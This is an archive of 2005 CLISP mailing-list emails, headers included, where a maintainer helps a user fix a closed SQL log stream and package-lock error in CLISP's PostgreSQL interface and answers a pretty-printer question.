SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 08:29:18 2005 X-Original-Date: Tue, 13 Sep 2005 11:27:22 -0400 > * Richard Ray [2005-09-13 09:33:09 -0500]: > >> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. >> please examine the value of that variable and figure out why it is >> # > > I saw the line (defvar *sql-log* *standard-output*) but i got > [8]> (describe *sql-log*) > > *** - EVAL: variable *SQL-LOG* has no value > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead of > *SQL-LOG*. > STORE-VALUE :R2 You may input a new value for *SQL-LOG*. > ABORT :R3 ABORT > Break 1 [9]> what does (find-all-symbols "*SQL-LOG*") return? I bet this is a package issue - *SQL-LOG* is an internal symbol. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sds@gnu.org Tue Sep 13 08:32:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFCmA-00055t-JH for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:32:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFCm3-0000u4-94 for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:32:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DFWBDj012957; Tue, 13 Sep 2005 11:32:11 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050913145353.27563@roaming.gol.com> (Takehiko Abe's message of "Tue, 13 Sep 2005 23:53:53 +0900") References: <20050913145353.27563@roaming.gol.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Takehiko Abe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: pretty printer and string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 08:33:17 2005 X-Original-Date: Tue, 13 Sep 2005 11:31:19 -0400 > * Takehiko Abe [2005-09-13 23:53:53 +0900]: > > clisp's pretty printer seems to modify string: > >> (let ((*print-right-margin* 80) > (*print-miser-width* nil)) > (pprint-logical-block (*standard-output* nil) > (pprint-indent :block 8) > (print "aaaaaaaa > bbbbbbbb > cccccccc"))) > > "aaaaaaaa > bbbbbbbb > cccccccc" > NIL the string is not modified - it's just printed with the block indentation you requested > Is there any techinical reason why clisp does not use xp.lisp? speed. > Am I going to hit the wall if I use xp.lisp? probably not. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't like cats! -- Come on, you just don't know how to cook them! From rray@mstc.state.ms.us Tue Sep 13 08:40:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFCtY-0005WQ-Lw for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:40:28 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFCtW-0002bK-VT for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 08:40:28 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DFeNKP004606 for ; Tue, 13 Sep 2005 10:40:23 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 10:39:51 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DFbqSn021298 for ; Tue, 13 Sep 2005 10:37:52 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DFbqjV021295 for ; Tue, 13 Sep 2005 10:37:52 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 08:41:10 2005 X-Original-Date: Tue, 13 Sep 2005 10:37:52 -0500 (CDT) On Tue, 13 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-13 09:33:09 -0500]: >> >>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. >>> please examine the value of that variable and figure out why it is >>> # >> >> I saw the line (defvar *sql-log* *standard-output*) but i got >> [8]> (describe *sql-log*) >> >> *** - EVAL: variable *SQL-LOG* has no value >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead of >> *SQL-LOG*. >> STORE-VALUE :R2 You may input a new value for *SQL-LOG*. >> ABORT :R3 ABORT >> Break 1 [9]> > > what does (find-all-symbols "*SQL-LOG*") return? [1]> (find-all-symbols "*SQL-LOG*") (SQL::*sql-log*) [2]> (use-package "SQL") T [3]> (find-all-symbols "*SQL-LOG*") (SQL::*sql-log*) [4]> I'm using clisp-2.35. > I bet this is a package issue - *SQL-LOG* is an internal symbol. > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) > From sds@gnu.org Tue Sep 13 09:04:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFDGM-0006h0-6o for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:04:02 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFDGK-0007rK-Eg for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:04:02 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DG3j4S018410; Tue, 13 Sep 2005 12:03:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 10:37:52 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 09:05:01 2005 X-Original-Date: Tue, 13 Sep 2005 12:02:53 -0400 > * Richard Ray [2005-09-13 10:37:52 -0500]: > > On Tue, 13 Sep 2005, Sam Steingold wrote: > >>> * Richard Ray [2005-09-13 09:33:09 -0500]: >>> >>>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. >>>> please examine the value of that variable and figure out why it is >>>> # >>> >>> I saw the line (defvar *sql-log* *standard-output*) but i got >>> [8]> (describe *sql-log*) >>> >>> *** - EVAL: variable *SQL-LOG* has no value >>> The following restarts are available: >>> USE-VALUE :R1 You may input a value to be used instead of >>> *SQL-LOG*. >>> STORE-VALUE :R2 You may input a new value for *SQL-LOG*. >>> ABORT :R3 ABORT >>> Break 1 [9]> >> >> what does (find-all-symbols "*SQL-LOG*") return? > > [1]> (find-all-symbols "*SQL-LOG*") > (SQL::*sql-log*) > [2]> (use-package "SQL") > T > [3]> (find-all-symbols "*SQL-LOG*") > (SQL::*sql-log*) > [4]> what you got is perfectly fine - but when you do (describe *sql-log*) you will get (find-all-symbols "*SQL-LOG*") ==> (SQL::*sql-log* *SQL-LOG*) because you just created an extra symbol. try (describe 'SQL::*sql-log*) instead. -- Sam Steingold (http://www.podval.org/~sds) running w2k Life is like a diaper -- short and loaded. From rray@mstc.state.ms.us Tue Sep 13 09:10:39 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFDMl-00070Z-4V for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:10:39 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFDMe-0000Xx-UU for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:10:39 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DGAIed015214 for ; Tue, 13 Sep 2005 11:10:18 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 11:09:54 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DG7tKP021815 for ; Tue, 13 Sep 2005 11:07:55 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DG7tUo021812 for ; Tue, 13 Sep 2005 11:07:55 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 09:11:22 2005 X-Original-Date: Tue, 13 Sep 2005 11:07:55 -0500 (CDT) On Tue, 13 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-13 10:37:52 -0500]: >> >> On Tue, 13 Sep 2005, Sam Steingold wrote: >> >>>> * Richard Ray [2005-09-13 09:33:09 -0500]: >>>> >>>>> look at sql.lisp:sql-connect: "Connection(" is written to *sql-log*. >>>>> please examine the value of that variable and figure out why it is >>>>> # >>>> >>>> I saw the line (defvar *sql-log* *standard-output*) but i got >>>> [8]> (describe *sql-log*) >>>> >>>> *** - EVAL: variable *SQL-LOG* has no value >>>> The following restarts are available: >>>> USE-VALUE :R1 You may input a value to be used instead of >>>> *SQL-LOG*. >>>> STORE-VALUE :R2 You may input a new value for *SQL-LOG*. >>>> ABORT :R3 ABORT >>>> Break 1 [9]> >>> >>> what does (find-all-symbols "*SQL-LOG*") return? >> >> [1]> (find-all-symbols "*SQL-LOG*") >> (SQL::*sql-log*) >> [2]> (use-package "SQL") >> T >> [3]> (find-all-symbols "*SQL-LOG*") >> (SQL::*sql-log*) >> [4]> > > what you got is perfectly fine - but when you do > (describe *sql-log*) > you will get > (find-all-symbols "*SQL-LOG*") > ==> (SQL::*sql-log* *SQL-LOG*) > because you just created an extra symbol. > try > (describe 'SQL::*sql-log*) > instead. [1]> (describe 'SQL::*sql-log*) SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #, is accessible in 1 package SQL, a variable declared SPECIAL, value: # . # is the package named SQL. It has 2 nicknames POSTGRESQL, POSTGRES. It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and exports 198 symbols, but no package uses these exports. It is a modern case-sensitive package. # is a closed stream. [2]> > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Life is like a diaper -- short and loaded. > From sds@gnu.org Tue Sep 13 09:35:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFDkN-0008HF-JC for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:35:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFDkJ-0006LY-Kf for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 09:35:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DGYdmg023544; Tue, 13 Sep 2005 12:34:39 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 11:07:55 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 09:36:25 2005 X-Original-Date: Tue, 13 Sep 2005 12:33:47 -0400 > * Richard Ray [2005-09-13 11:07:55 -0500]: > > [1]> (describe 'SQL::*sql-log*) > > SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #, is > accessible in 1 package SQL, a variable declared SPECIAL, value: > # > . > > # is the package named SQL. It has 2 nicknames POSTGRESQL, > POSTGRES. > It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and > exports 198 symbols, but no package uses these exports. > It is a modern case-sensitive package. > > # is a closed stream. OK, so here is your problem. solution is simple: (setq SQL::*sql-log* *standard-output*) -- Sam Steingold (http://www.podval.org/~sds) running w2k Hard work has a future payoff. Laziness pays off NOW. From rray@mstc.state.ms.us Tue Sep 13 10:39:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFEkf-0002mw-Pu for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 10:39:25 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFEkY-00036S-4i for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 10:39:25 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DHdCmE007620 for ; Tue, 13 Sep 2005 12:39:13 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 12:39:03 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DHb2iE023276 for ; Tue, 13 Sep 2005 12:37:02 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DHb2E1023272 for ; Tue, 13 Sep 2005 12:37:02 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 10:40:20 2005 X-Original-Date: Tue, 13 Sep 2005 12:37:02 -0500 (CDT) On Tue, 13 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-13 11:07:55 -0500]: >> >> [1]> (describe 'SQL::*sql-log*) >> >> SQL::*sql-log* is the symbol SQL::*sql-log*, lies in #, is >> accessible in 1 package SQL, a variable declared SPECIAL, value: >> # >> . >> >> # is the package named SQL. It has 2 nicknames POSTGRESQL, >> POSTGRES. >> It imports the external symbols of 2 packages CS-COMMON-LISP, FFI and >> exports 198 symbols, but no package uses these exports. >> It is a modern case-sensitive package. >> >> # is a closed stream. > > OK, so here is your problem. > solution is simple: > (setq SQL::*sql-log* *standard-output*) Much better. [1]> (use-package "SQL") T [2]> (setq SQL::*sql-log* *standard-output*) ** - Continuable Error SETQ(SQL::*sql-log*): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed The following restarts are also available: ABORT :R1 ABORT Break 1 [3]> continue # I tried [4]> (with-sql-connection (conn :host "host" :port "5432" :options nil :tty nil :name "mydb" :login "user" :password "password") (sql-transaction conn "BEGIN" sql:PGRES_COMMAND_OK)) Connection(#) OK: db name: "mydb" host:port[tty]: "host":"5432"[""] options: "" * OK: BEGIN # I'll add this to my program. Is this a problem with the sql package, my configuration, etc? > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Hard work has a future payoff. Laziness pays off NOW. > From sds@gnu.org Tue Sep 13 11:15:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFFJM-0004b7-Lv for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:15:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFFJJ-0002n3-Jg for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:15:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DIEsD0011526; Tue, 13 Sep 2005 14:14:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 12:37:02 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 11:16:12 2005 X-Original-Date: Tue, 13 Sep 2005 14:14:02 -0400 > * Richard Ray [2005-09-13 12:37:02 -0500]: > > [1]> (use-package "SQL") > T this is not such a grand idea actually - unless you pass "-modern" to your CLISP. > [2]> (setq SQL::*sql-log* *standard-output*) > > ** - Continuable Error > SETQ(SQL::*sql-log*): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > The following restarts are also available: > ABORT :R1 ABORT > Break 1 [3]> continue > # (without-package-lock ("SQL") (setq ...)) this is now fixed in the CVS. thanks for reporting the bugs! -- Sam Steingold (http://www.podval.org/~sds) running w2k Computers are like air conditioners: they don't work with open windows! From rray@mstc.state.ms.us Tue Sep 13 11:25:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFFSt-000502-LA for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:25:07 -0700 Received: from e3000a.state.ms.us ([205.144.224.140] helo=itspmx1.state.ms.us) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFFSt-0004p3-0R for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:25:07 -0700 Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220]) by itspmx1.state.ms.us (8.12.11/8.12.11) with ESMTP id j8DIP3q3016646 for ; Tue, 13 Sep 2005 13:25:03 -0500 (CDT) (envelope-from rray@mstc.state.ms.us) Received: from rray.drdc.mstc.ms.gov ([172.17.32.2]) by tcmail.mstc.state.ms.us; Tue, 13 Sep 2005 13:24:28 -0500 Received: from rray.drdc.mstc.ms.gov (localhost.localdomain [127.0.0.1]) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1) with ESMTP id j8DIMMx4024076 for ; Tue, 13 Sep 2005 13:22:22 -0500 Received: from localhost (rray@localhost) by rray.drdc.mstc.ms.gov (8.13.1/8.13.1/Submit) with ESMTP id j8DIMMMC024073 for ; Tue, 13 Sep 2005 13:22:22 -0500 X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs From: Richard Ray X-X-Sender: rray@rray.drdc.mstc.ms.gov To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 11:26:35 2005 X-Original-Date: Tue, 13 Sep 2005 13:22:22 -0500 (CDT) On Tue, 13 Sep 2005, Sam Steingold wrote: >> * Richard Ray [2005-09-13 12:37:02 -0500]: >> >> [1]> (use-package "SQL") >> T > > this is not such a grand idea actually - unless you pass "-modern" to > your CLISP. > >> [2]> (setq SQL::*sql-log* *standard-output*) >> >> ** - Continuable Error >> SETQ(SQL::*sql-log*): # is locked >> If you continue (by typing 'continue'): Ignore the lock and proceed >> The following restarts are also available: >> ABORT :R1 ABORT >> Break 1 [3]> continue >> # > > (without-package-lock ("SQL") (setq ...)) > > this is now fixed in the CVS. > thanks for reporting the bugs! I appreciate the help. Do you know if there's a DB2 UDB interface for Clisp? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Computers are like air conditioners: they don't work with open windows! > From sds@gnu.org Tue Sep 13 11:58:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFFzT-0006Ri-VU for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:58:47 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFFzS-0002iL-OK for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 11:58:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8DIwW4P018911; Tue, 13 Sep 2005 14:58:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard Ray Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Richard Ray's message of "Tue, 13 Sep 2005 13:22:22 -0500 (CDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard Ray Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Novice sql problem (write-char on # is illegal) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: 